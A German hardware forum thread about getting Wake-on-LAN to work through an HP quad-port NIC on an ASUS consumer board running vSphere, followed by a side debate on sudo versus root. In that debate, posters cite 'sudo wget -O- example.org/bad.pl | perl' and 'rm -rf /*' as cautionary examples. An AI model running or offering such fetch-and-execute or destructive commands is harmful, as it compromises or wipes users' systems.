WOL Consumerboard über PCIe NIC

AliManali

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Hi

Ich habe ein ASUS P8Z77-V LX mit einer gesteckten quadport NIC HP NC375T. Onboard LAN ist deaktiviert, da ich da noch Treiber für vSphere rein basteln müsste. Läuft so weit wie es soll.

Bei meinem X79 Desktop kann ich im BIOS die zugesteckte Quad Port Karte konfigurieren. Bei dem genannten ASUS Board gibts da aber keine Optionen dazu im BIOS. WOL habe ich irgendwie auf die Schnelle auch nicht gefunden.

Ohne da jetzt gross anfangen zu basteln: kann mir einer sagen, ob ich mit der gesteckten NIC WOL realisieren kann, oder ist das per se nicht möglich?

Gruss und danke!
 
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Früher mussten diese Karten mit einem extra Kabel mit dem MB verbunden werden - soweit ich mich erinnere.
Hast du auch mal in den "Event on Alarm" Menüs geschaut - oder wie die heißen.
 
Ja, danke. Laut dem Dokument hier:

https://www.pcp.ch/gfx156014org/13471_div-1-.PDF

hats da hinten nen kleinen Stecker auf der Karte. Wird aber nicht angegeben, für was der gut ist. Müsste ich den mit dem Gehäuse Taster parallel schalten, oder wie sieht das aus?

In meinem X79 Desktop hatte ich eine Intel Karte, die hat gar keine Anschlüsse nebst den vier NICs. Aber wie gesagt, die kann man dann im BIOS konfigurieren.

@BadBigBen: ich brauche keine Treiber für die HP Karte, die sind bei vSphere schon dabei. Und auf die onboard Karte würde ich gerne verzichten, die ist momentan im BIOS deaktiviert.
 
Müsste ich den mit dem Gehäuse Taster parallel schalten, oder wie sieht das aus?

Nein auf keinen Fall. Das Mainbiard muss das unterstützen und einen passende WOL ANschluss haben für externe karten.

Wie du in dem Handbuch deines Motherboards in Kapitel 3.5.7. nachlesen kannst, gibt es unter Advanced/APM->Power-On-By-PCIE im BIOS. Das sollte also schon mal aktiviert sein. Es kann auch sein, das die Karte in dem Board an eineren Steckplatz muss. Ich musste mal etwas umstecken, bis der Dell PERC H310 im MSI UEFI von meinem C236A Workstation auftauchte.
 
Hmm, Power on PCIe ist eingeschaltet. Müssten da nicht die LED der NIC auch im ausgeschaltetem Zustand leuchten? Ich habe mir das Tool WOL2 installiert, da passiert allerdings nichts wenn ich das Magic Paket sende. Wenn ich den Server eingeschaltet habe, wird der auch als offline angezeigt in dem Tool. Auch wenn ich nach Hosts scanne, wird in dem Adressbereich nichts angezeigt.

Liegen allerdings in einem anderen vLAN die Zielserver. Da habe ich von dem Rechner wo ich das Paket sende aber "allow all" beregelt, sonst sind alle Dienste wie vSphere UI, SSH und sowas erreichbar.

Die Netze sind folgende:

192.168.101.1/24 LAN Quellnetz
192.168.102.1/24 vLAN Management, da sind die beiden Server drin und da soll aufgeweckt werden

Als Subnet für WOL2 habe ich 255.255.254.0 angegeben, das sollte ja so passen? Habe es auch mit 255.255.0.0 probiert, hat auch nichts gebracht.
 
Zuletzt bearbeitet:
Wenn die LEDs an der nic aus sind, empfängt sie auch kein Magic Packet. Dein Switch wird auch sagen, dass der Port down ist.
Das deutet daraufhin, dass der Energiesparmodus zu straff eingestellt ist.

Ich denke, dass Du viel zu viele Unbekannte gleichzeitig angehst. WOL hört sich simpel an, aber ist tatsächlich ziemlich komplex.
Du hast:
- ein einfaches Board mit eingeschränkter Doku und wenig Einstellmöglichkeiten
- eine Karte, in deren Doku zu dem Thema nichts steht
- ein Betriebssystem aus dem Non-Consumer-Bereich, das nicht primär auf Energiesparen und schon gar nicht auf bei-Bedarf-starten ausgelegt ist
- 10GbE
- getrennte Netze
- getrennte VLANs
- und zu guter Letzt Dich scheinbar nicht wirklich mit der Materie vertraut gemacht

Wenn der korrekte S-State nicht zufällig das Quentchen zum Glück ist, würde ich systematisch vorgehen:
- temporär eine Platte mit einem known-positive-WOL-Betriebssystem einstecken. Also z.b. ein Windows auf dem WOL mit der onboard Karte bereits funktioniert
- den weckenden PC ohne VLANs etc direkt anstecken
- Stromsparmodus korrigieren

Sobald das geht, systematisch die Ursache eingrenzen.

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Und sollten alle Stricke reißen und es geht nur über onboard nicht aber über HPE/10G, wäre es auch noch eine Option, die onboard nur für WOL zu nutzen.
Irgendwo war das auch mal lange Thema und obiges die einzig gefundene Lösung. Weiß nicht mehr ob das ein qnap Nas oder Microserver g8 war.
 
Hi

Ja, danke.

Habe mal alle Energieoptionen aus gemacht, und die LEDs der NICs leuchten trotzdem nicht. Das wird wohl nichts mit der NIC. Ist auch keine 10Gbit/s Karte, ist eine quad Port Gbit.

Ich hatte den Server als Ersatzmaschine gekauft, weil mein Mainserver rumgemuckt hat und ich dringend eine Ersatzmaschine gebraucht hatte. Hätte ja gerne auf Serverhardware, oder zumindest was mit vPRO zurückgegriffen, aber da war halt in der Nähe nichts zu greifen bei meinem Budged. Einen T20 hätte ich ohne RAM und Platten für EUR 200.- aus DE bekommen können, aber das ist immer super kompliziert und teuer in die CH zu verfrachten. Daher gabs den Tower aus dem Brocki. Macht ja sonst (fast) alles, was er soll. Remote Management wär halt geil gewesen, aber wurde halt ein Consumerboard...

Aber dachte mir schon, dass wenn die NICs dunkel sind, da nichts zu machen sein wird. :shake:
 
Der einfachste weg dürfte dann sein:

Restore after Powerloss aktivieren (dürfte so ziemlich jedes Board haben)
Funksteckdose/IP Steckdose kaufen
Steckdose anschalten fals bedarf
Server fährt hoch.
 
Der einfachste Weg wird wohl sein, die 10m zum Server watscheln und den Power Knopf zu betätigen. Wenn ich mal länger aus dem Haus gehen sollte, muss ich halt beide Server laufen lassen. Wär mehr nice to have gewesen, aber wenns nicht will geht auch keine Welt unter deswegen.

*/closed
 
besonders sind 200€ für einen T20, welcher damals mit 1220v3 maximal 230€ gekostet hat, sehr teuer.

Dein Problem ist, das du bei der HP Karte wohl nicht in deren Bootmenü kommst um Wake On Lan zuaktiveren. Pack die Karte doch mal in den HP Server, aus welchem sie kommt und schau obs da was zum einstellen gibt. Wenns da was gibt, brauchst du eine ungebrandete
 
Ich habe noch nie in einer Serverkarte ein Biosmenü gesehen.

damals maximal 230€....
Erstens waren die 230€ auch "damals" schon ein guter Preis.
Zweites regeln Angebot und Nachfrage den Preis (auch: den Gebrauchtmarkt) und nicht die Schnäppchenpreise von vor fünf Jahren als das Angebot die Nachfrage noch locker überflügelt hat.
Einen meiner Microserver habe ich für 180€ gekauft. Und das war kein Supersonderangebot, sondern ein mehrwöchiger Dauerpreis bei Amazon. Wenn ich ihn heute verkaufe (damaliger Lieferumfang) bekomme ich 250 dafür. Wäre er noch ungeöffnet OVP wahrscheinlich 400.
Wenn Dir Server zu ungriffig zwischen damaligen Verkaufspreisen (inflationsbereinigt) und heutigen Verkaufspreisen sind, dann schau dir z.b. mal Youngtimer oder viele andere Dinge an.
Unabhängig davon, dass auch mir 200€ zu viel wären, ist er es immer noch wert (i.S.v. es gibt jemanden/mehrere, die das dafür bezahlen wollen).
 
Ja, wenn er vor den paar Monaten in der Schweiz zu dem Kurs bekommen gewesen wäre, hätte ich auch gleich zugeschlagen. Für den i5 auf dem Board musste ich auch CHF 140.- auslegen ohne RAM und SSD, Chinaböller Netzteil hatte ich gleich mal getauscht gegen wertigeres Chinaböller Netzteil.

Den T20 hätte ich also gerne genommen, hätte den aber nach DE liefern lassen müssen, und dann noch abholen. Weil da die EU Grenze hat halt schon gewisse Nachteile.
 
Ist die WOL-Funktion im OS aktiv?
Unter Linux kann man das "sudo ethtool eth0" (NIC anpassen) auslesen und mittels "sudo ethtool -s eth0 wol g" aktivieren.
 
Er hat kein Linux sondern VMware und seine Karte ist ausgeschaltet down.

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Woher kommt eigentlich dieser sudo Mist? Gefühlt häuft sich das seit der Verbreitung von rpi2.
Wenn ich administriere, bin ich root oder werde einmalig dazu. Ich kenne sudoers und weiß es zu konfigurieren, aber welchen vorteil bringt es. In jeglichem tut immer mit sudo zu arbeiten? Wenn jemand keinen Plan hat, dann kopiert er "sudo wget -O- example.org/bad.pl | perl" auch in den Browser
 
Die 230€ waren direkt bei DELL am 28.11.2016. Dafür das jetzt der T40 existiert und es zwischendrin noch den T30 gab, sind 200€ dennoch etwas happig (auch wenn beide Nachfolger kaum unter 400€ zu bekommen waren/sind)

Ist VMWare nicht Linux basierend?

Alternativ mal ne andere Netzwerkkarte probieren, bzw mal die Onboard einmalig zum wecken aktivieren. Die sollte sich ja über das Bios WOL-aktivieren lassen.
 
Er hat kein Linux sondern VMware und seine Karte ist ausgeschaltet down.

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Woher kommt eigentlich dieser sudo Mist? Gefühlt häuft sich das seit der Verbreitung von rpi2.
Wenn ich administriere, bin ich root oder werde einmalig dazu. Ich kenne sudoers und weiß es zu konfigurieren, aber welchen vorteil bringt es. In jeglichem tut immer mit sudo zu arbeiten? Wenn jemand keinen Plan hat, dann kopiert er "sudo wget -O- example.org/bad.pl | perl" auch in den Browser
Weil man sich nicht als root anmeldet? Das ist ein ungeschriebenes Linux-Gesetz.
 
Weil man sich nicht als root anmeldet? Das ist ein ungeschriebenes Linux-Gesetz.

Das ist quatsch, machen wir auf der Arbeit dauernd wenn wir mit Ansible arbeiten, ob man auf den zu verwaltenden Node nun direkt per Root drauf geht, oder den unnötigen Umweg über Sudo nimmt spielt absolut keine Rolle (außer, das man sudo gar nicht erst installieren braucht), das wurde in den ganzen Linux Tutorials für die DAUs gemacht, die - wie martingo treffend beschreibt - alles aus einem Tutorial ungeprüft ausführen. Menschen, die seit Jahrzehnten mit Linux arbeiten und besser kennen als ihre eigene Frau brauchen kein Sudo.
 
Weil man sich nicht als root anmeldet? Das ist ein ungeschriebenes Linux-Gesetz.
Ach, ist das so? Sicher nicht am Desktop zum surfen, aber wenn ich etwas administriere, benötigen 90% der Tätigkeiten zwingend root Rechte.
Wenn ich aus Sicherheitsgründen den root Login per SSH deaktiviert habe, dann gebe ich dem Benutzer sudo su Rechte oder kenne das root Passwort.
Die wenigsten wissen/schauen, ob sie für einen Befehl wirklich root Rechte benötigen. D.h. sudo wird immer voran gestellt. Und ob ich nun als root "rm -rf /*" eingebe oder als nicht-root "sudo rm -rf /*" macht keinen Unterschied.

Der einzige Vorteil von sudo %ALL ist imho in einer Multi-User Umgebung zu finden, wenn ich nachvollziehen will, wer was wann gemacht hat, weil es geloggt wird. Aber das kann ich mit diesen Rechten ebenfalls fälschen. Oder bedarf sehr sehr granularer Konfiguration, um sowas zu verhindern.

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das wurde in den ganzen Linux Tutorials für die DAUs gemacht, die - wie martingo treffend beschreibt - alles aus einem Tutorial ungeprüft ausführen.
Da hilft sudo auch nicht weil sudo ebenfalls im Tutorial steht.
Dass man seit Jahrzehnten mit Linux gearbeitet haben muss, um direkt als root zu arbeiten, glaube ich nicht. Es bringt ja auch keinen Vorteil.
Sonst gebe ich Dir zu 100% recht.

Ich verwende sudo nur, wenn ich wirklich explizit definierte Aufrufe habe, die root Rechte erfordern und die Vergabe vollständiger root Rechte oversized oder ein Sicherheitsrisiko ist. Z.b. Nutzung innerhalb eines Skripts oder spezielle Tätigkeiten, die dem Azubi oder einer anderen nicht absolut verlässlichen Person übergeben werden (z.b apt update/upgrade).
 
Zuletzt bearbeitet:
Ich habe noch nie in einer Serverkarte ein Biosmenü gesehen.

Alternativ im BIOS die Option AddOn Rom aktivieren sofern möglich und sowohl Legacy als auch UEFI Bootmodus probieren. Dann dürfte vor dem booten das AddOn-Rom der Serverkarten geladen werden welches eine weitere Konfiguration ermöglicht.
Zugegeben, dass kenne ich nur von iSCSI, Fiberchannel und Raid-Controllern. Aber wer weiß.

Und wenn das nicht klappt einfach die onboard nic aktivieren. Wenn vSphere eh keinen Treiber hat, dann stört es eh nicht aber die NIC kann auf wol antworten.
 
Habe leider keine Erfahrungen mit gebrandeten Komponenten oder WOL, aber bei vielen Boards - X99, C236, X470, X570 - die ich in den letzten Jahren mit Intel Server NICs oder neueren Broadcom HBAs getestet habe, tauchten die alle im BIOS als eigene Menüpunkte samt eigenen Konfigurationsmöglichkeiten unter "Advanced" auf, als von Legacy auf UEFI Boot only umgestellt und parallel CSM deaktiviert wurde. Vielleicht hilft das weiter?
 
Zuletzt bearbeitet:
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